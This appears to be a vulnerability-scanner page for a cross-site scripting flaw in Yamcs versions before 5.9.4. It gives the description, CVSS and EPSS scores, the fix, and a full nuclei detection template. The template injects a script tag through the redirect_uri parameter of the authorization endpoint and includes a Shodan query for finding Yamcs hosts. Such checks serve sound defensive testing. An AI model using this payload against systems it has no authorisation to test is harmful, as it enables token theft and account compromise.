Yamcs <=5.8.6 - Cross-Site Scripting

mediumseverity

6.5CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

Yamcs < 5.9.4 contains a stored XSS caused by inadequate HTML escaping of attacker-controlled redirect_uri parameter in authorization template, letting attackers execute JavaScript to steal authentication data, exploit requires user to open crafted URL.

Impact

Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.

Fix

Update to version 5.9.4 or later.

How to confirm it

Send: GET {{BaseURL}}/auth/authorize?client_id=yamcs-web&state=stable-state&response_mode=query&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fexam…
Positive when: contains "value=\"https://example.com/cbi0i7y\"><script>alert(document.…" and "value=\"yamcs-web\"" AND status 200 AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2026-55549 -u <target>

The full check

id: CVE-2026-55549

info:
  name: Yamcs <=5.8.6 - Cross-Site Scripting
  author: str4k3r
  severity: medium
  description: |
    Yamcs < 5.9.4 contains a stored XSS caused by inadequate HTML escaping of attacker-controlled redirect_uri parameter in authorization template, letting attackers execute JavaScript to steal authentication data, exploit requires user to open crafted URL.
  impact: |
    Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.
  remediation: |
    Update to version 5.9.4 or later.
  reference:
    - https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c
    - https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3
    - https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55549
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-55549
    epss-score: 0.01305
    epss-percentile: 0.70773
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yamcs
    product: yamcs
    shodan-query: 'title:"Yamcs"'
  tags: cve,cve2026,yamcs,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/authorize?client_id=yamcs-web&state=stable-state&response_mode=query&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fexample.com%2Fcbi0i7y\"><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="https://example.com/cbi0i7y"><script>alert(document.domain)</script>"'
          - 'value="yamcs-web"'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: content_type
        words:
          - 'text/html'

References

Use this check only on systems you are authorised to test. Where the data comes from